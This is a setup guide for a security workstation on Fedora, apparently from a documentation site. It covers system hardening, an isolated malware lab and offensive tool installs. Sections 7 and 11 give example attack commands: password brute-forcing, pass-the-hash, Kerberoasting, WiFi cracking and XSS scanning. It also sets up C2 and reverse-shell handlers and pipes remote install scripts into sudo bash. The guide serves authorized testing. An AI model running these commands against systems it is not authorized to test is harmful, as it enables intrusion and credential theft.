> For the complete documentation index, see [llms.txt](https://hardening.khandal.tech/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hardening.khandal.tech/system-hardening/operating-system/linux/fedora.md). Agents can also search and read this documentation through its [MCP server](https://hardening.khandal.tech/~gitbook/mcp).

# Fedora

**Audience:** Security researchers, SOC/DFIR practitioners, bug bounty hunters, and developers who want a hardened, fully-equipped Fedora workstation.

**Assumes:** A fresh Fedora Workstation install (Fedora 40+), bare metal or VM, with `sudo` access. Every command below is run manually, one at a time — there is no install script in this guide. Run each block, read the output, confirm it worked, then move to the next.

**Core philosophy — read this before you install anything:** This guide treats your **host OS as the control center**, not the place where you run untrusted code. Offensive tools (scanners, exploit frameworks, C2 servers) are safe to install on the host because *you* control what they connect to. Anything that touches **untrusted/attacker-controlled input** — malware samples, suspicious binaries, CTF pwn challenges you haven't vetted, unknown firmware — belongs in an **isolated VM with no (or tightly controlled) network access**, snapshotted before use and reverted after. This distinction is called out again in the relevant sections below; don't skip it.

***

## Table of Contents

1. [Pre-Installation Decisions](#1-pre-installation-decisions)
2. [Initial System Setup](#2-initial-system-setup)
3. [User & Security Hardening](#3-user--security-hardening)
4. [Development Environment](#4-development-environment)
5. [Terminal & Shell](#5-terminal--shell)
6. [Virtualization & Isolated Lab](#6-virtualization--isolated-lab)
7. [Offensive / Pentesting Tools](#7-offensive--pentesting-tools)
8. [Blue Team & Monitoring](#8-blue-team--monitoring)
9. [Malware Analysis / Reverse Engineering](#9-malware-analysis--reverse-engineering)
10. [Digital Forensics](#10-digital-forensics)
11. [Bug Bounty Toolkit](#11-bug-bounty-toolkit)
12. [Network & Proxy Setup](#12-network--proxy-setup)
13. [Secure Development Practices](#13-secure-development-practices)
14. [Workspace Organization & Dotfiles](#14-workspace-organization--dotfiles)
15. [Optional: GUI & Browser Setup](#15-optional-gui--browser-setup)
16. [Post-Install Verification Checklist](#16-post-install-verification-checklist)
17. [Appendix: Reference Material](#17-appendix-reference-material)

***

## 1. Pre-Installation Decisions

Make these decisions **before** you start installing packages — they're painful to change later.

### 1.1 Full-Disk Encryption (LUKS)

If you haven't already enabled this during Fedora install, you need to **reinstall** to add it (LUKS cannot be retrofitted onto an unencrypted root partition without wiping it). During the Fedora installer:

* Go to **Installation Destination → Storage Configuration → Custom** (or just check "Encrypt my data" on the simplified screen).
* Set a strong LUKS passphrase — this is separate from your login password and protects the disk at rest.

If your disk is already unencrypted and you don't want to reinstall, accept the risk for now and revisit this later; don't half-do it.

### 1.2 Account Separation

Decide now whether you will:

* **Option A (recommended):** Keep one user account for daily browsing/email, and a **second, separate user account** (or a dedicated VM) for running analysis tools and detonating samples.
* **Option B:** Use a single account for everything, relying on VM isolation (Section 6) for anything risky.

This guide assumes Option B with strict VM isolation for anything untrusted, but if you want Option A, create the second account now:

```bash
sudo useradd -m -G wheel analysis
sudo passwd analysis
```

***

## 2. Initial System Setup

### 2.1 Update Everything First

```bash
sudo dnf update -y
sudo dnf upgrade -y
sudo dnf autoremove -y
```

Run this, let it finish completely, and reboot if it updated the kernel:

```bash
sudo reboot
```

### 2.2 Enable RPM Fusion (Free & Non-Free)

RPM Fusion hosts codecs, drivers, and many community packages not in Fedora's default repos.

```bash
sudo dnf install -y \
  https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm \
  https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm

sudo dnf groupupdate core -y
```

### 2.3 Enable Flatpak (Flathub)

Flatpak ships with Fedora by default, but you need to add the Flathub remote to actually install anything from it:

```bash
sudo dnf install -y flatpak
flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
```

Reboot or log out/in once after this so GNOME Software picks up the new remote.

### 2.4 Enable COPR Repositories (optional, community packages)

COPR hosts packages that aren't in Fedora's official repos or RPM Fusion (e.g. newer `starship`, `helix`). Only enable repos you actually need — each one is a trust decision, since COPR packages are built by individual maintainers, not Fedora.

```bash
sudo dnf copr enable -y atim/starship
```

### 2.5 Essential Base Packages

This is the foundation layer — compilers, editors, networking basics, and the headers you'll need later when `pip`/`cargo`/`go` compile native extensions.

```bash
sudo dnf install -y \
  @development-tools \
  git curl wget vim neovim tmux \
  htop btop unzip zip p7zip p7zip-plugins \
  rsync openssh openssh-server \
  net-tools iproute iproute-tc \
  bind-utils whois traceroute nmap \
  jq fzf bat fd-find ripgrep eza \
  openssl openssl-devel libffi-devel \
  python3-devel zlib-devel bzip2-devel \
  readline-devel sqlite sqlite-devel \
  xz xz-devel tk-devel \
  dnf-plugins-core
```

A note on package names: Fedora ships `fd-find` (binary is `fdfind` on some distros, but on Fedora it installs as `fd` directly) and `bat` (binary name is `bat` on Fedora, unlike Debian where it's `batcat`). Verify with `which fd` and `which bat` once installed.

### 2.6 DNF Speed & Quality-of-Life Settings

Open `/etc/dnf/dnf.conf` in an editor:

```bash
sudo nano /etc/dnf/dnf.conf
```

Add these four lines at the end (not a script — just edit the file and save):

```ini
fastestmirror=True
max_parallel_downloads=10
defaultyes=True
keepcache=True
```

Save and exit. Every `dnf` command from here on will be noticeably faster.

***

## 3. User & Security Hardening

### 3.1 SSH Key Generation & Hardening

Generate a new Ed25519 key pair (stronger and faster than RSA for most use cases):

```bash
ssh-keygen -t ed25519 -C "your@email.com"
```

Accept the default path (`~/.ssh/id_ed25519`) unless you have a reason to change it, and set a passphrase on the key — an unencrypted private key is a liability.

Now harden the SSH **server** config (only relevant if you run `sshd` — e.g. for remote access to this box):

```bash
sudo sed -i 's/#PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
sudo sed -i 's/#PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sudo sed -i 's/#PubkeyAuthentication.*/PubkeyAuthentication yes/' /etc/ssh/sshd_config
sudo systemctl restart sshd
```

What each line does:

* `PermitRootLogin no` — root can never log in over SSH directly; you must log in as a normal user and `sudo`.
* `PasswordAuthentication no` — disables password-based SSH logins entirely; only key-based auth works. **Make sure your public key is already in `~/.ssh/authorized_keys` before you apply this**, or you'll lock yourself out of remote access.
* `PubkeyAuthentication yes` — explicitly confirms key-based auth is enabled (usually already the default).

### 3.2 Firewall — firewalld (Fedora's default)

Fedora uses **firewalld**, not UFW. Stick with firewalld — it's the one that's integrated with SELinux contexts and NetworkManager zones on Fedora, and fighting the default tends to cause more problems than it solves.

```bash
sudo systemctl enable --now firewalld
```

Check it's running:

```bash
sudo firewall-cmd --state
```

Check your current default zone:

```bash
sudo firewall-cmd --get-default-zone
```

Lock the default zone down to deny all inbound by default, then explicitly allow only what you need (SSH, in this example):

```bash
sudo firewall-cmd --permanent --set-default-zone=drop
sudo firewall-cmd --permanent --add-service=ssh
sudo firewall-cmd --reload
```

Review the active configuration:

```bash
sudo firewall-cmd --list-all
```

If you later need a specific port open (e.g. for a local lab service), add it the same way:

```bash
sudo firewall-cmd --permanent --add-port=8080/tcp
sudo firewall-cmd --reload
```

### 3.3 SELinux — Keep It Enforcing

Do not disable SELinux. It's one of the strongest defenses Fedora gives you by default, and disabling it to "make something work" usually just means you've stopped noticing the problem.

Check current status:

```bash
sestatus
```

You want `Current mode: enforcing`. If you hit a genuine SELinux block while doing legitimate work (not a reason to disable it — a reason to *understand* it), investigate first:

```bash
sudo ausearch -m avc -ts recent | audit2why
```

This tells you exactly which policy denied what, and often suggests the specific `semanage`/`setsebool` command to fix it properly instead of disabling enforcement. If you absolutely must test something with SELinux out of the way temporarily:

```bash
sudo setenforce 0   # Permissive: logs denials but doesn't block them. Temporary only.
```

Switch back immediately after:

```bash
sudo setenforce 1
```

### 3.4 Fail2Ban

Install it:

```bash
sudo dnf install -y fail2ban
sudo systemctl enable --now fail2ban
```

Create a local jail config (this overrides the defaults without editing the package's own config file, which is the correct way to configure fail2ban):

```bash
sudo nano /etc/fail2ban/jail.local
```

Paste this content into the file:

```ini
[DEFAULT]
bantime  = 3600
findtime = 600
maxretry = 5

[sshd]
enabled = true
port    = ssh
logpath = %(sshd_log)s
backend = systemd
```

What this means: after 5 failed SSH attempts (`maxretry`) within a 10-minute window (`findtime`), the offending IP is banned for 1 hour (`bantime`). Save and apply:

```bash
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd
```

The last command should show the `sshd` jail is active and currently banning 0 IPs.

### 3.5 Disable Unused Services

Reduce attack surface by disabling services you don't use. Review this list and only disable what's genuinely unused on your machine — don't disable Bluetooth if you use a Bluetooth mouse.

```bash
sudo systemctl disable bluetooth cups avahi-daemon ModemManager
sudo systemctl stop bluetooth cups avahi-daemon ModemManager
```

(`2>/dev/null` isn't needed if you run these interactively — you'll just see an error if a service wasn't running, which is harmless.)

***

## 4. Development Environment

### 4.1 Python

```bash
sudo dnf install -y python3 python3-pip python3-virtualenv python3-devel
pip3 install --upgrade pip setuptools wheel pipx
pipx ensurepath
```

Reload your shell config so the pipx path takes effect:

```bash
source ~/.zshrc   # or ~/.bashrc if you haven't switched to zsh yet (Section 5)
```

### 4.2 Go

Fetch the current Go version string, download it, and install to `/usr/local` (the standard location):

```bash
GO_VERSION=$(curl -s https://go.dev/VERSION?m=text | head -1)
curl -LO "https://go.dev/dl/${GO_VERSION}.linux-amd64.tar.gz"
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "${GO_VERSION}.linux-amd64.tar.gz"
rm "${GO_VERSION}.linux-amd64.tar.gz"
```

Add Go's binary paths to your shell profile:

```bash
echo 'export PATH=$PATH:/usr/local/go/bin:$HOME/go/bin' >> ~/.zshrc
source ~/.zshrc
```

Verify:

```bash
go version
```

### 4.3 Rust

```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
echo 'source "$HOME/.cargo/env"' >> ~/.zshrc
rustup update stable
cargo --version
```

### 4.4 Node.js (via nvm)

Using `nvm` instead of Fedora's packaged Node lets you switch Node versions per-project later.

```bash
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
source ~/.zshrc
nvm install --lts
nvm use --lts
node --version && npm --version
npm install -g yarn pnpm
```

### 4.5 Ruby

```bash
sudo dnf install -y ruby ruby-devel rubygem-bundler
```

If you need multiple Ruby versions (optional), use `rbenv`:

```bash
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
echo 'eval "$(~/.rbenv/bin/rbenv init - zsh)"' >> ~/.zshrc
git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
source ~/.zshrc
rbenv install 3.3.0
rbenv global 3.3.0
```

### 4.6 Java

```bash
sudo dnf install -y java-21-openjdk java-21-openjdk-devel
java -version
```

If you install multiple JDK versions later, switch between them with:

```bash
sudo alternatives --config java
```

### 4.7 Build Tools

```bash
sudo dnf install -y cmake ninja-build meson gcc g++ clang llvm make \
  autoconf automake libtool pkg-config
```

### 4.8 Editors

**Neovim** (already installed in 2.5, but add Python bindings and LSP-friendly extras):

```bash
sudo dnf install -y neovim python3-neovim
npm install -g neovim
```

**VS Code** (from Microsoft's official repo):

```bash
sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
```

Create the repo file:

```bash
sudo nano /etc/yum.repos.d/vscode.repo
```

Paste:

```ini
[code]
name=Visual Studio Code
baseurl=https://packages.microsoft.com/yumrepos/vscode
enabled=1
gpgcheck=1
gpgkey=https://packages.microsoft.com/keys/microsoft.asc
```

Save, then install:

```bash
sudo dnf install -y code
```

### 4.9 Git & GitHub CLI

```bash
sudo dnf install -y git git-lfs
sudo dnf install -y 'dnf-command(config-manager)'
sudo dnf config-manager --add-repo https://cli.github.com/packages/rpm/gh-cli.repo
sudo dnf install -y gh
```

Configure your identity and sane defaults:

```bash
git config --global user.name "Your Name"
git config --global user.email "your@email.com"
git config --global init.defaultBranch main
git config --global core.editor nvim
git config --global pull.rebase false
```

Authenticate the CLI:

```bash
gh auth login
```

### 4.10 Containers: Docker or Podman — pick one

**You don't need both.** Podman is Fedora's native, daemonless, rootless-by-default container engine and is generally the better fit on Fedora unless a specific tool you use hard-requires Docker's socket API.

**Option A — Podman (recommended on Fedora):**

```bash
sudo dnf install -y podman podman-compose podman-docker
systemctl --user enable --now podman.socket
echo 'alias docker=podman' >> ~/.zshrc
```

The `podman-docker` package plus the alias means any tool that shells out to `docker ...` will transparently use Podman instead.

**Option B — Docker CE (if you specifically need it):**

```bash
sudo dnf remove -y docker docker-client docker-client-latest \
  docker-common docker-latest docker-latest-logrotate \
  docker-logrotate docker-selinux docker-engine-selinux docker-engine

sudo dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo

sudo dnf install -y docker-ce docker-ce-cli containerd.io \
  docker-buildx-plugin docker-compose-plugin

sudo systemctl enable --now docker
sudo usermod -aG docker $USER
newgrp docker
docker run hello-world
```

***

## 5. Terminal & Shell

### 5.1 Install Zsh and Set as Default

```bash
sudo dnf install -y zsh util-linux-user
chsh -s /bin/zsh
```

Log out and back in for the shell change to take effect.

### 5.2 Oh My Zsh

```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
```

### 5.3 Zsh Plugins

```bash
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting

git clone https://github.com/zsh-users/zsh-autosuggestions \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions

git clone https://github.com/zsh-users/zsh-completions \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-completions
```

Open `~/.zshrc` and find the `plugins=(...)` line, then replace it with:

```bash
plugins=(git zsh-syntax-highlighting zsh-autosuggestions zsh-completions z sudo dnf)
```

Reload:

```bash
source ~/.zshrc
```

### 5.4 Starship Prompt

```bash
sudo dnf install -y starship
echo 'eval "$(starship init zsh)"' >> ~/.zshrc
source ~/.zshrc
```

### 5.5 Tmux

```bash
sudo dnf install -y tmux
git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm
```

Open (or create) `~/.tmux.conf` in an editor and put in this content:

```tmux
set -g default-terminal "screen-256color"
set -ag terminal-overrides ",xterm-256color:RGB"
set -g mouse on
set -g base-index 1
setw -g pane-base-index 1
set -g history-limit 50000
set -g status-style bg=colour235,fg=colour136
set -g status-left-length 30

bind r source-file ~/.tmux.conf \; display "Config reloaded!"
bind | split-window -h -c "#{pane_current_path}"
bind - split-window -v -c "#{pane_current_path}"
bind -n C-Left  resize-pane -L 5
bind -n C-Right resize-pane -R 5
bind -n C-Up    resize-pane -U 5
bind -n C-Down  resize-pane -D 5

set -g @plugin 'tmux-plugins/tpm'
set -g @plugin 'tmux-plugins/tmux-sensible'
set -g @plugin 'tmux-plugins/tmux-resurrect'
set -g @plugin 'tmux-plugins/tmux-continuum'
set -g @continuum-restore 'on'

run '~/.tmux/plugins/tpm/tpm'
```

Save, then install the plugins:

```bash
~/.tmux/plugins/tpm/bin/install_plugins
```

### 5.6 Modern CLI Tool Replacements

These replace classic Unix tools with faster, friendlier equivalents — install them now, and the aliases in Section 14 will wire them up.

```bash
sudo dnf install -y bat fd-find ripgrep eza fzf httpie tldr thefuck duf dust procs
```

| Tool             | Replaces | What it adds                          |
| ---------------- | -------- | ------------------------------------- |
| `bat`            | `cat`    | syntax highlighting, line numbers     |
| `fd`             | `find`   | simpler syntax, respects `.gitignore` |
| `ripgrep` (`rg`) | `grep`   | much faster recursive search          |
| `eza`            | `ls`     | icons, git status in listing          |
| `duf`            | `df`     | readable disk usage                   |
| `dust`           | `du`     | visual disk usage tree                |
| `procs`          | `ps`     | colorized, readable process list      |

Two Go-based greppable utilities worth having:

```bash
go install github.com/tomnomnom/gron@latest    # turns JSON into greppable lines
go install github.com/tomnomnom/anew@latest    # appends only genuinely new lines to a file
```

***

## 6. Virtualization & Isolated Lab

This is the section that enforces the isolation philosophy from the top of this guide. Do not skip the isolated network setup if you intend to run malware samples, unknown binaries, or offline CTF targets.

### 6.1 Install QEMU/KVM (Fedora-native virtualization)

```bash
sudo dnf install -y @virtualization
sudo systemctl enable --now libvirtd
sudo usermod -aG libvirt,kvm $USER
newgrp libvirt
```

Verify your CPU/firmware actually supports KVM acceleration:

```bash
virt-host-validate
```

Launch the GUI manager:

```bash
virt-manager
```

### 6.2 Create an Isolated (Host-Only) Virtual Network

This is the network your malware-analysis and "detonation" VMs attach to — it has **no route to the internet or your LAN** by default, so a sample can't phone home or pivot onto your network.

In `virt-manager`:

1. Go to **Edit → Connection Details → Virtual Networks**.
2. Click the **+** button to add a new network.
3. Name it something clear, e.g. `isolated-lab`.
4. Choose **Isolated virtual network** (not NAT, not bridged).
5. Leave DHCP enabled if you want VMs to still get IPs from each other (useful if you're running a multi-VM lab, e.g. an attacker VM + a victim VM on the same isolated segment).
6. Finish, then start the network.

When creating or editing a VM that will touch untrusted content, attach its NIC to `isolated-lab` instead of the default NAT network. If you specifically need to study C2 callback behavior, that's the *one* deliberate exception — and even then, route it through a controlled sandbox/sinkhole, not your real internet connection.

### 6.3 Snapshot Discipline

Before running anything untrusted in a VM:

```bash
virsh snapshot-create-as <vm-name> clean-state "Pre-analysis snapshot"
```

After you're done (or if something goes wrong), revert:

```bash
virsh snapshot-revert <vm-name> clean-state
```

Make this a habit every single time — not just "when it feels risky."

### 6.4 Recommended VM Images to Keep on Hand

* **Kali Linux** or **ParrotOS** — your main offensive toolkit, kept separate from the host so a bad `apt upgrade` or a compromised tool doesn't touch your daily driver.
* **REMnux** — purpose-built for malware analysis; comes pre-loaded with the RE tooling in Section 9.
* **SIFT Workstation** — purpose-built for digital forensics (Section 10).
* **Metasploitable** / **DVWA** — deliberately vulnerable targets for practicing against, never exposed outside `isolated-lab`.

### 6.5 Vagrant (optional, for quick disposable VMs)

```bash
sudo dnf install -y vagrant
vagrant plugin install vagrant-libvirt
```

Spin up a throwaway Ubuntu target:

```bash
mkdir -p ~/labs/ubuntu && cd ~/labs/ubuntu
vagrant init ubuntu/jammy64
vagrant up
vagrant ssh
```

### 6.6 Vulnerable Web App Lab (containers)

If you want quick, disposable vulnerable web targets without spinning up a full VM, this Compose file gives you a small lab stack. Create the directory and file:

```bash
mkdir -p ~/labs
nano ~/labs/docker-compose.yml
```

Paste:

```yaml
version: "3.8"
services:
  dvwa:
    image: vulnerables/web-dvwa
    ports:
      - "8081:80"
    restart: unless-stopped
  juiceshop:
    image: bkimminich/juice-shop
    ports:
      - "3000:3000"
    restart: unless-stopped
  webgoat:
    image: webgoat/goat-and-wolf
    ports:
      - "8888:8888"
    restart: unless-stopped
  portainer:
    image: portainer/portainer-ce:latest
    ports:
      - "9000:9000"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - portainer_data:/data
    restart: unless-stopped
volumes:
  portainer_data:
```

Start the stack:

```bash
cd ~/labs
docker compose up -d
```

(Replace `docker compose` with `podman-compose` if you went with the Podman path in 4.10.)

Access points once it's up:

* DVWA: `http://localhost:8081` (default creds `admin` / `password`)
* Juice Shop: `http://localhost:3000`
* WebGoat: `http://localhost:8888`
* Portainer (container management UI): `http://localhost:9000`

Keep this stack bound to `localhost` only — don't expose it on your LAN.

***

## 7. Offensive / Pentesting Tools

**Reminder:** Fedora does not ship a pentest metapackage like Kali does. You're installing tools individually via `dnf`, `pip`, `go install`, `cargo install`, or `git clone`. Treat this entire section as host-tooling for tools *you* run against targets you're authorized to test — it is distinct from Section 9 (malware analysis), where the subject matter itself is untrusted and belongs in the isolated VM from Section 6.

### 7.1 Reconnaissance & Scanning

```bash
sudo dnf install -y nmap masscan netcat hping3 dnsrecon whois traceroute whatweb nikto
cargo install rustscan
pipx install autorecon
go install -v github.com/owasp-amass/amass/v4/...@master
pip3 install fierce
```

Example quick-scan workflow once installed:

```bash
IP="10.10.10.1"
rustscan -a $IP --ulimit 5000 -- -sV -sC
sudo nmap -A -T4 -p- $IP -oA ~/scans/target
dnsrecon -d target.com -t std,brt,axfr
```

### 7.2 Web Application Testing

```bash
flatpak install flathub net.portswigger.BurpSuite
flatpak install flathub org.zaproxy.ZAP
sudo dnf install -y sqlmap
go install github.com/ffuf/ffuf/v2@latest
go install github.com/OJ/gobuster/v3@latest
cargo install feroxbuster
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates
go install github.com/projectdiscovery/katana/cmd/katana@latest
pip3 install wfuzz
git clone https://github.com/commixproject/commix.git ~/tools/commix
```

Example `ffuf` usage once wordlists are in place (Section 7.3):

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u https://target.com/FUZZ -mc 200,301,302,403

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.target.com" -u https://target.com -fs 0
```

### 7.3 Wordlists (SecLists & rockyou)

Fedora doesn't bundle SecLists, so you pull it manually:

```bash
sudo mkdir -p /usr/share/seclists
git clone --depth 1 https://github.com/danielmiessler/SecLists.git /tmp/seclists
sudo mv /tmp/seclists/* /usr/share/seclists/
```

For `rockyou.txt` (SecLists ships a gzipped copy under `Passwords/Leaked-Databases/`):

```bash
sudo gunzip /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.gz
```

If that file isn't present for some reason, fetch it directly:

```bash
mkdir -p ~/wordlists
curl -L https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt \
  -o ~/wordlists/rockyou.txt
```

### 7.4 Exploitation Frameworks

**Run these inside an isolated VM (Section 6), not on the host**, if you're actually going to use them against anything other than your own lab targets.

```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
  > /tmp/msfinstall
chmod +x /tmp/msfinstall
sudo /tmp/msfinstall
sudo systemctl start postgresql
msfdb init
msfupdate
```

Sliver C2 (open source):

```bash
curl https://sliver.sh/install | sudo bash
```

PwnCat (upgraded reverse-shell handler):

```bash
pipx install pwncat-cs
```

### 7.5 Password Attacks

```bash
sudo dnf install -y hashcat john hydra medusa crunch cewl
sudo dnf install -y clinfo opencl-headers ocl-icd   # for GPU-accelerated hashcat
```

Examples:

```bash
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt --force
john --wordlist=~/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
hydra -l admin -P ~/wordlists/rockyou.txt ssh://10.10.10.1
```

### 7.6 Active Directory / Windows Targets

```bash
pip3 install impacket
pip3 install crackmapexec
gem install evil-winrm
pip3 install enum4linux-ng
go install github.com/ropnop/kerbrute@latest
sudo dnf install -y krb5-workstation
```

BloodHound CE (runs via Docker/Podman compose):

```bash
git clone https://github.com/SpecterOps/BloodHound.git ~/tools/BloodHound
cd ~/tools/BloodHound
docker compose -f examples/docker-compose/docker-compose.yml up -d
```

Common commands once installed:

```bash
enum4linux-ng -A 10.10.10.1
impacket-GetUserSPNs -dc-ip 10.10.10.1 DOMAIN/user:pass -request
crackmapexec smb 10.10.10.1 -u Administrator -H <NTLM_HASH>
evil-winrm -i 10.10.10.1 -u Administrator -p 'Password123'
```

### 7.7 Wireless Testing

```bash
sudo dnf install -y aircrack-ng kismet hostapd wpa_supplicant
sudo dnf install -y hcxtools hcxdumptool
```

Workflow:

```bash
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon

sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcapngtool -o hashes.hc22000 capture.pcapng
hashcat -m 22000 hashes.hc22000 ~/wordlists/rockyou.txt
```

### 7.8 OSINT

```bash
pip3 install theHarvester
pip3 install recon-ng
pip3 install sherlock-project
pipx install maigret
pip3 install shodan
shodan init YOUR_API_KEY
pip3 install censys
censys config
git clone https://github.com/smicallef/spiderfoot ~/tools/spiderfoot
pip3 install -r ~/tools/spiderfoot/requirements.txt
```

### 7.9 Privilege Escalation Helpers

```bash
mkdir -p ~/tools/privesc
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \
  -o ~/tools/privesc/linpeas.sh
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat \
  -o ~/tools/privesc/winPEAS.bat
curl -L https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh \
  -o ~/tools/privesc/lse.sh
curl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 \
  -o ~/tools/privesc/pspy64
chmod +x ~/tools/privesc/linpeas.sh ~/tools/privesc/lse.sh ~/tools/privesc/pspy64
pip3 install gtfo
```

### 7.10 Post-Exploitation / Tunneling

```bash
go install github.com/nicocha30/ligolo-ng/cmd/proxy@latest
go install github.com/nicocha30/ligolo-ng/cmd/agent@latest
git clone https://github.com/t3l3machus/Villain ~/tools/Villain
pip3 install -r ~/tools/Villain/requirements.txt
go install github.com/jpillora/chisel@latest
sudo dnf install -y socat
```

***

## 8. Blue Team & Monitoring

```bash
sudo dnf install -y suricata fail2ban auditd
sudo systemctl enable --now auditd
```

(Fail2ban was already configured in Section 3.4.)

For SIEM practice, run **Wazuh** or an **ELK/Elastic** stack in containers rather than installing natively — it's heavier and far easier to reset/rebuild as a container than as a host install. Follow Wazuh's or Elastic's own official Docker/Podman Compose instructions for the current version rather than a copy-pasted config, since these stacks change frequently between releases.

For endpoint visibility practice, `osquery` is worth installing from its own repo (often not current in Fedora's default repos) — check `https://osquery.io/downloads` for the current Fedora/RPM install instructions.

***

## 9. Malware Analysis / Reverse Engineering

**Everything in this section should be used inside the isolated VM from Section 6**, not on your host, whenever you're pointing it at an actual untrusted sample. Installing the tools on the host is fine; *running them against unknown binaries* on the host is not.

```bash
sudo dnf install -y gdb ltrace strace binwalk foremost radare2 upx patchelf file
sudo dnf install -y ghidra
pip3 install pwntools
```

pwndbg (GDB enhancement for exploit dev/RE):

```bash
git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg
cd ~/tools/pwndbg && ./setup.sh
```

GEF (alternative GDB enhancement — pick one of pwndbg or GEF, not both, they conflict):

```bash
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
```

Rizin + Cutter (radare2 fork with its own GUI):

```bash
sudo dnf install -y rizin rizin-cutter
```

***

## 10. Digital Forensics

```bash
sudo dnf install -y sleuthkit autopsy testdisk foremost binwalk exiftool
```

* **Autopsy** gives you a GUI case-management workflow on top of **Sleuth Kit**.
* `binwalk` and `foremost` are your go-tos for carving data out of disk images and firmware dumps.

***

## 11. Bug Bounty Toolkit

### 11.1 Subdomain Enumeration

```bash
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/tomnomnom/assetfinder@latest
# amass was already installed in Section 7.1
```

Configure Subfinder's API keys so it actually finds results from paid sources:

```bash
mkdir -p ~/.config/subfinder
nano ~/.config/subfinder/provider-config.yaml
```

Paste (replace the placeholder values with your own keys):

```yaml
shodan:
  - YOUR_SHODAN_KEY
github:
  - YOUR_GITHUB_TOKEN
censys:
  - YOUR_CENSYS_ID:YOUR_CENSYS_SECRET
virustotal:
  - YOUR_VT_KEY
```

Run the pipeline:

```bash
TARGET="example.com"
subfinder -d $TARGET -silent > subs_subfinder.txt
assetfinder --subs-only $TARGET > subs_assetfinder.txt
amass enum -passive -d $TARGET > subs_amass.txt
cat subs_*.txt | sort -u | anew all_subs.txt
```

### 11.2 DNS & Live Host Probing

```bash
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
```

```bash
cat all_subs.txt | dnsx -silent | \
  httpx -silent -status-code -title -tech-detect \
  -follow-redirects -o live_hosts.txt
```

### 11.3 URL & Endpoint Discovery

```bash
go install github.com/lc/gau/v2/cmd/gau@latest
go install github.com/tomnomnom/waybackurls@latest
go install github.com/hakluke/hakrawler@latest
```

```bash
gau $TARGET | tee urls_gau.txt
waybackurls $TARGET | tee urls_wayback.txt
cat urls_*.txt | sort -u | anew all_urls.txt

cat all_urls.txt | grep -E "\.(php|asp|aspx|jsp|cfm|env|config|bak|sql|log)" \
  | tee interesting_urls.txt

cat all_urls.txt | grep -E "[?&]" | tee param_urls.txt
```

### 11.4 Vulnerability Scanning

```bash
nuclei -l live_hosts.txt -t ~/nuclei-templates/ \
  -severity critical,high,medium -o nuclei_results.txt -stats

nuclei -l live_hosts.txt -t ~/nuclei-templates/ \
  -severity critical,high -tags cve,exposure,misconfig \
  -o nuclei_cve.txt
```

### 11.5 JavaScript Recon

```bash
git clone https://github.com/GerbenJavado/LinkFinder.git ~/tools/LinkFinder
pip3 install -r ~/tools/LinkFinder/requirements.txt

git clone https://github.com/m4ll0k/SecretFinder.git ~/tools/SecretFinder
pip3 install -r ~/tools/SecretFinder/requirements.txt

go install github.com/003random/getJS@latest
```

Extract endpoints/secrets from JS on a target:

```bash
katana -u https://$TARGET -d 5 -silent | grep "\.js$" | sort -u | \
  xargs -P5 -I{} python3 ~/tools/SecretFinder/SecretFinder.py -i {} -o cli
```

### 11.6 Parameter Discovery

```bash
pip3 install arjun
cargo install x8
git clone https://github.com/devanshbatham/ParamSpider ~/tools/ParamSpider
pip3 install -r ~/tools/ParamSpider/requirements.txt
```

```bash
python3 ~/tools/ParamSpider/paramspider.py -d $TARGET
arjun -u https://target.com/api/v1/user -m GET
```

### 11.7 XSS & Injection

```bash
go install github.com/hahwul/dalfox/v2@latest
go install github.com/Emoe/kxss@latest
go install github.com/tomnomnom/gf@latest
git clone https://github.com/1ndianl33t/Gf-Patterns ~/.gf
```

```bash
cat param_urls.txt | gf xss | dalfox pipe -o xss_results.txt
```

### 11.8 Screenshots & Reporting

```bash
